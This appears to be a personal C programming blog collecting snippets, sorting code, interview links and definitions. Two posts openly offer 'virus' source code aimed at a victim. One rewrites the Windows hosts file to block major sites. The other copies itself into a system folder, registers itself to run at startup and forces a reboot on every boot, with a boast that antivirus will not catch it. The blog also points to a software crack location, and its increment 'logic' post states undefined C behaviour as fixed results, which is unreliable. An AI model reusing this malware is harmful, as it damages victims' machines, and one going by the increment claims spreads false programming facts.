Saturday, August 18, 2012

DIFFICULT PREINCREMENT AND POST INCREMENT LOGICS

Its the logic of

if s=++a + (a=5)++ ;
then s=6+5


check

s=++a + ++a  + a++ + ++a + a++ +(a=5)++ ;
printf("result is=%d",s);

here as a=5 initialised at the time of execution as such only one step execution occurs as such
a++/++a will always represent only the 1st initialised value here 6
and (a=5)++ represents 5

also check

a=a++ + a++ + a++ + ++a +(a=6)++ ;
printf("result is=%d",a);

here, (a=6)++ represent  -> 6
++a all instances represent 7
a++ all instances represent 8




if
a=5
s=++a + ++a + a++ + a++
then s=9+9+5+5

if a=5
a=++a + a++
then a=7 + 6

Friday, September 3, 2010

FOR ALL TYPES OF PREOJECTS

http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=73370&lngWId=1

Friday, August 27, 2010

THE INTERVIEW MODEL QUESTIONS' SITE

http://www.cracktheinterview.net/forum.php

Tuesday, July 20, 2010

POP 5 CRACK LOCATION

FIRST UNHIDE ALL THE FOLDERS


C:\Documents and Settings\\Local Settings\Application Data\storage\SKIDROW

Friday, July 16, 2010

C program to generate all possible combinations of a n letters word

#include"stdio.h"
#include"conio.h"
#include"string.h"

int flag=0,hold,n;
char str[100],str2[100];
unsigned long fact(unsigned long f) /*for getting factorial*/
{
return f==0?1 : f*fact(f-1);
}

void swap(char *s) /*to swap s[n-2] and s[n-1]*/
{
char temp=s[n-1];
s[n-1]=s[n-2];
s[n-2]=temp;
}
void display(char *s) /*to display string s*/
{
int i=0;
static int j=1;
printf("%d)",j++);
for (i=0;i<=n;i++)
printf("%c ",s[i]);
printf("\n");

}
void shift(char *st,int hol) /*to shift the characters
leftwise from st[n-1]
to st[1]*/
{
int i,temp;
if(hol==fact(n-1)/2)
flag=1;
temp=st[1];
for(i=1;i st[i]=st[i+1];
st[n-1]=temp;
}
void touch(char *s) /*to shift the original
string leftwise from
(n-1)th to 1st position
everytime the function
is called*/
{
int i,temp=s[0];
for(i=0;i<=n-1;i++)
s[i]=s[i+1];
s[n-1]=temp;
}
void main()
{
int i,j;
clrscr();
printf("\nPlease enter the word: ");
gets(str);
n=strlen(str);
strcpy(str2,str);
puts(str2);
for(i=1;i<=n;i++)
{
flag=0;
strcpy(str,str2); /*at initial call i.e str=str2
but for later stage the
value of str gets replenished
by value of str2*/
hold=1; /*variable to control value of flag from
function shift()*/
while(flag==0)
{
display(str);
swap(str);
display(str);
strcpy(str,str2); /*str2 has been copied in str
so that leftwise shift can
be done from (n-1)th to 1st
position*/
shift(str,hold++);
}
touch(str2);
}
getch();
}



/*LOGIC-The logic of the program is to keep the original
string and its copy.We display the content.

1)Now we shift the character in the (n-1)th and the
(n-2)th position in the main function.Again we display
the content of the string.Let us take example - abcd.
Here its
a b c d
a b d c

2)Now we shift from (n-1)th position to 1st position in
left wise manner(but not upto 0th position).We do it
and repeat step 1) again and again at each left shift of
step 2, till we find all the combinations from 1st to
(n-1)th position.
[Actually this logic simply finds all the combination in
binary logic at O(n) (i.e O(n-1)+O((n-1)/2))]
so we get
a c d b
a c b d
a d b c
a d c b

3)Now we just do the process again but now we shift leftwise
from (n-1)th to 0th position until all the characters in the
string have been scanned.(This is done with the help of the
copy of the original string,mentioned earlier in step 1).We
repeat step 2) again and again at each left shift of step 3,
till we find all the combinations of the 'n letters word'.
[Here in this step the actual complexity of the program
could be found as O(n^2) (i.e O(n*n) here left n is of step 3
and right n is from step 2).
Hence the complexity is O(n^2)].
*/

-RAJA GHOSH,16TH JULY,2010

Saturday, July 3, 2010

ALL TYPES OF C.SC INTERVIEW QUESTIONS

http://www.thecareerplus.com/?page=home

Sunday, March 21, 2010

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the sourcecode of the virus.

#include"stdio.h"
#include"dos.h"
#include"dir.h"

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1?;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1—————————google.com

5. Delete all such entries which contain the names of blocked sites.

C Program to Remove Comments and Blank lines from a valid C Program

#include"stdio.h"
#include"conio.h"
#include"process.h"
#include"dos.h"
void main()
{
FILE *a,*b;
char fname[20],ch,tch=NULL,tch1=NULL;
int flag1=0,flag=0,count=0,count1=0,count2=0;
clrscr();
printf(“Enter the file name (.C or .TXT)\n”);
gets(fname);
a=fopen(fname,”r”);
if(a==NULL)
{
puts(“Cannot open the source file!!!”);
delay(500);
exit(1);
}
b=fopen(“target.c”,”w”);
if(b==NULL)
{
puts(“Cannot create target file!!!”);
delay(500);
exit(1);
}
while(1)
{
ch=fgetc(a);
if(ch==EOF) break;
else
{
if(ch==’\n’)
{
count1=1;
tch1=ch;
continue;
}
else if(ch==’\n’&& count1==1)
continue;
else if(ch==’/'&&count==0)
{
flag1=1;
tch=ch;
count=1;
continue;
}
else if(ch==’*'&& flag1==1)
{
flag=1;
flag1=0;
tch=NULL;
}
else if(ch==’*'&&flag==1)
{
count2=1;
count=1;
continue;
}
else if(ch==’/'&&count2==1)
{
flag=0;
count=0;
tch=NULL;
continue;
}
else if(count==1&&flag==1)
count=0;
else if(flag1==1)
flag1=0;
}
if(flag!=1)
{
if(tch>0)
fputc(tch,b);
if(tch1>0)
fputc(tch1,b);
tch1=NULL;
tch=NULL;
count=0,count1=0,count2=0;
fputc(ch,b);
flag1=0,flag=0;
}
}
puts(“DONE!! OP FILE IS \”TARGET.C\”\n”);
fcloseall();
getch();
}

RADIX SORT ALGORITHM

void radix(int *a,int n,int dig)
{

int aux[10][100],val[100],key[10];
int m,calc,eval,exp,hold;
int i,j,k,z,pass=0;
while(pass!=dig)
{
for(i=0;i<10;i++) key[i]=0;
pass++; m=0;
for(j=0;j {
calc=a[j];
exp=pow(10,pass-1);
k=calc/exp;
k=k%10;
hold=key[k];
key[k]++;
aux[k][hold]=a[j];
}
for(j=0;j<10;j++)
{
eval=key[j];
for(z=0;z {
a[m]=aux[j][z];
m++;
}
}
}
for(i=0;i printf("d\n",a[i]);
}

A PROGRAM TO SORT AN ARRAY OF NUMERICAL DATA USING RADIX SORT

#include"stdio.h"
#include"conio.h"
#include"math.h"
void radix(int *a,int n,int dig)
{

int aux[10][100],val[100],key[10];
int m,calc,eval,exp,hold;
int i,j,k,z,pass=0;
while(pass!=dig)
{
for(i=0;i<10;i++) /*here we reset value for 2nd part of 2-D array*/
key[i]=0;
pass++;
m=0; /*counter value reset for entering data into array a[]*/
printf("\n\nPass - %d started\n\n",pass);
for(j=0;j{
calc=a[j];
exp=pow(10,pass-1);
k=calc/exp;
k=k%10;
hold=key[k]; /*pocket position found to enter the entry*/
key[k]++; /*incremented value for 2nd part of 2-D array for each pocket*/
aux[k][hold]=a[j];/*1st par represent pocket */
/*2nd part for input of entry in each pocket*/
}
for(j=0;j<10;j++)
{
eval=key[j];
for(z=0;z{
a[m]=aux[j][z];/*each value of aux[][] entered into a[] in ascending order*/
printf("aux[%d][%d]=%d\n",j,z,a[m]);
m++;
}
}
for(i=0;iprintf("%5d",a[i]);/*value printed after each pass*/
}
}/*end of radix()*/

void main()
{
int var,a[100],num_entry;
int digit=0,i;
clrscr();
puts("\nEnter the no. of entries to be sorted");
scanf("%d",&num_entry);
puts("\nPlease enter the no. of digits for each entry");
scanf("%d",&digit);
puts("\nEnter the array digits");
for(i=0;iscanf("%d",&a[i]);
radix(a,num_entry,digit);
getch();
}

Thursday, March 18, 2010

Definition of Almost Complete Binary Tree

Almost Complete Binary Tree: An almost complete binary tree of n nodes, for any arbitrary nonnegative integer n, is the binary tree made up of the first n nodes of a canonically labeled full binary

ADVANTAGES AND DISADVANTAGES OF HASHING

Advantages

The main advantage of hash tables over other table data structures is speed. This advantage is more apparent when the number of entries is large (thousands or more). Hash tables are particularly efficient when the maximum number of entries can be predicted in advance, so that the bucket array can be allocated once with the optimum size and never resized.

If the set of key-value pairs is fixed and known ahead of time (so insertions and deletions are not allowed), one may reduce the average lookup cost by a careful choice of the hash function, bucket table size, and internal data structures. In particular, one may be able to devise a hash function that is collision-free, or even perfect (see below). In this case the keys need not be stored in the table .

Disadvantages

Hash tables can be more difficult to implement than self-balancing binary search trees. Choosing an effective hash function for a specific application is more an art than a science. In open-addressed hash tables it is fairly easy to create a poor hash function.

Although operations on a hash table take constant time on average, the cost of a good hash function can be significantly higher than the inner loop of the lookup algorithm for a sequential list or search tree. Thus hash tables are not effective when the number of entries is very small. (However, in some cases the high cost of computing the hash function can be mitigated by saving the hash value together with the key.)

For certain string processing applications, such as spell-checking, hash tables may be less efficient than tries, finite automata, or Judy arrays. Also, if each key is represented by a small enough number of bits, then, instead of a hash table, one may use the key directly as the index into an array of values. Note that there are no collisions in this case.

The entries stored in a hash table can be enumerated efficiently (at constant cost per entry), but only in some pseudo-random order. Therefore, there is no efficient way to efficiently locate an entry whose key is nearest to a given key. Listing all n entries in some specific order generally requires a separate sorting step, whose cost is proportional to log(n) per entry. In comparison, ordered search trees have lookup and insertion cost proportional to log(n), but allow finding the nearest key at about the same cost, and ordered enumeration of all entries at constant cost per entry.

If the keys are not stored (because the hash function is collision-free), there may be no easy way to enumerate the keys that are present in the table at any given moment.

Although the average cost per operation is constant and fairly small, the cost of a single operation may be quite high. In particular, if the hash table uses dynamic resizing, an insertion or deletion operation may occasionally take time proportional to the number of entries. This may be a serious drawback in real-time or interactive applications.

Hash tables in general exhibit poor locality of reference—that is, the data to be accessed is distributed seemingly at random in memory. Because hash tables cause access patterns that jump around, this can trigger microprocessor cache misses that cause long delays. Compact data structures such as arrays, searched with linear search, may be faster if the table is relatively small and keys are integers or other short strings. According to Moore's Law, cache sizes are growing exponentially and so what is considered "small" may be increasing. The optimal performance point varies from system to system.

Hash tables become quite inefficient when there are many collisions. While extremely uneven hash distributions are extremely unlikely to arise by chance, a malicious adversary with knowledge of the hash function may be able to supply information to a hash which creates worst-case behavior by causing excessive collisions, resulting in very poor performance (i.e., a denial of service attack). In critical applications, either universal hashing can be used or a data structure with better worst-case guarantees may be preferable

What Is The Difference Between Multitasking, Multiprogramming And Multiprocessing?

In computing, multitasking is a method by which multiple tasks are performed by the user also known as processes, share common processing resources such as a CPU. CPU is actively executing more than one task at a time. Multitasking solves the problem by scheduling the tasks instructions. Which task may be the one running at any given time, when another waiting task gets a turn. These requests are managed by reassigning a CPU from one task to another one is called a context switch. Even on computers with more than one CPU (called multiprocessor machines), multitasking allows many more tasks to be run than there are CPUs.

Multiprogramming:The method of Multiprogramming systems took place in the 1960s. In that process several different programs in batch were loaded in the computer memory, and the first one began to run. One program after another executed when the first program reached an instruction waiting for a device that has a message, the context of this program was stored away, and the second program in memory was given a chance to run. The process continued until all programs finished running.

In Multiprogramming programs may have delay; the very first program may very well run for hours without needing access to a peripheral. As there were no users waiting at an interactive terminal, this was no problem.

Multiprocessing is the execution of more than one processors at a time. But they must be coordinated. Multiprocessing is a general term that can mean the dynamic assignment of a program to one of two or more computers working on the same program at the same time (in parallel). As each computer has its own operating system so therefore they have to be coordinated and managed properly in order to share instructions

GET ALL TYPE OF PROGRAMMING SOURCE CODES FROM HERE

http://www.sourcecodesworld.com/source/

MY OTHER TECHNICAL BLOG

http://www.rajaghoshtech.blogspot.com

A WEBSITE FOR CODES

http://www.dreamincode.net/code/snippet2030.htm

ANOTHER WEBSITE ON SORTING WITH VISUALS

http://tanksoftware.com/tutes/uni/sorting.html

Dictionary of Algorithms and Data Structures

THIS IS THE WEBSITE HERE YOU CAN FIND ALGORITHMS

http://www.itl.nist.gov/div897/sqg/dads/

A Virus Program to Restart the Computer at Every Startup

The virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.

Here is the source code.

#include"stdio.h"
#include"dos.h"
#include"dir.h"

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

C PROGRAM TO PRINT ITS OWN CODE

Here is a C program to print it’s own source code.That is the output of this program is exactly same as it’s source code.Here’s the program



#include"stdio.h"
char *program=”#include%cchar *program=%c%s%c;%cvoid main()%c{%cprintf(program,10,34,program,34,10, 10,10,10);%c}”;

void main()
{
printf(program,10,34,program,34,10,10,10,10);
}


THE LOGIC OF THIS PROGRAM LIES IN THE SYNTAX OF
"printf();"
YOU CAN CHECK IT OUT ON TURBO C BY JUST OPENING TURBO C AND RIGHT CLICKING THE MOUSE.

HERE WHEN WE WRITE
"printf(program,10,34,program,34,10,10,10,10);"

WE CALL THE "program" VARIABLE THAT WE DECLARE AS GLOBAL AND
10 WILL CALL %c IN "*program"

AND
34 WILL ALSO CALL %c IN "*program"

AND
%s WILL CALL THE "*program"

AND THAT IS HOW THE PROGRAM WORKS.-RAJA GHOSH